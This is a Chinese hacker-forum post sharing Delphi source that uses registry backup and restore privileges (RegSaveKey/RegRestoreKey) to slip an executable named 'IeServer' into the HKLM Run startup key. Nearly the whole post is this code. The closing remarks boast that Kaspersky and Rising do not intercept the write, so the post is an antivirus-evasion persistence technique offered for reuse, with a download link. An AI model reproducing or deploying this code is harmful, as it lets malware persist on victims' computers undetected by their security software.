[转自xwind.cn] 累，昨夜醉酒 ，一大早就起来看程序 ，呼呼，修改了一下原有的备份注册表（原来是用REG命令来备份HIV文件的），利用COPYKEY来备份注册表了，而不是网上那种利用HIV资源形式还原注册表，在偶的电脑上面测试成功！
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure SetPrivilege;
Const
ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
SHTDWN_PRIV ='SeBackupPrivilege';
//SeBackupPrivilege 备份文件和目录。
//允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API时才检查这个特
//权。默认情况下，这个特权分配给Administrators和Backup Operators。
PRIV_SIZE = sizeOf(TTokenPrivileges);
var
TokenPriv, Dummy: TTokenPrivileges;
Token: THandle;
Len:DWORD;
begin
OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
LookupPrivilegeValue(nil, SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TokenPriv.PrivilegeCount := 1;
AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE,Dummy, Len);
end;
procedure SetPrivilege2;
var
TPPrev,TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
//SeRestorePrivilege
//恢复文件和目录。
//允许用户绕过文件及目录权限来恢复备份文件。默认情况下Administrators和Backup
begin
TP.PrivilegeCount:=1;
TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid:=lpLuid;
AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
end;
CloseHandle(TokenHandle);
end;
function addreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;
function SaveKey2(key:integer;subkey,filename:string):Boolean;
var
SKey: HKEY;
begin
SetPrivilege;
Result := false;
if key = 1 then begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
end
else
begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
end;
if SKey <> 0 then
try
Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
finally
RegCloseKey(SKey);
end;
end;
procedure regstore2(key:integer;subkey,hfile:string);
var
key2: hkey;
begin
SetPrivilege2;
if key=1 then
begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
end
else begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
end;
if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
RegCloseKey(key2);
end;
procedure regstore(exefile:string);
var
key:HKEY;
I:Integer;
begin
SaveKey2(2,PChar('SOFTWARE\Microsoft\Windows\CurrentVersion\Run'),'c:\1.hiv');
RegCreateKey(HKEY_CURRENT_USER,PChar('Software\fengzi'),key);
for i := 1 to 5 do regstore2(1,'Software\fengzi','c:\1.hiv');
addreg(HKEY_CURRENT_USER,'Software\fengzi','IeServer',exefile);
SaveKey2(1,PChar('Software\fengzi'),'c:\2.hiv');
for i := 1 to 5 do regstore2(2,PChar('SOFTWARE\Microsoft\Windows\CurrentVersion\Run'),'c:\2.hiv');
RegDeleteKey(HKEY_CURRENT_USER,'Software\fengzi');
RegCloseKey(key);
DeleteFile('c:\1.hiv');
DeleteFile('c:\2.hiv');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
regstore('c:\1.exe');
end;
end.
BTW：原来一直没搞清备份特权和还原特权的关系，呼呼，找了资料终于明白备份的时候不成功的原因了！请注意上面的注释说明。
这里感谢Xwind公布的核心代码
大家自己测试一下吧..
700)? 700px : auto }" src="http://www.crkcn.com/styles/default/images/icon_file.gif" border=0> 点击下载
卡巴,瑞星等，他会防御写入注册表启动项.
我写的这个.他不拦截.....请大家查查启动项！
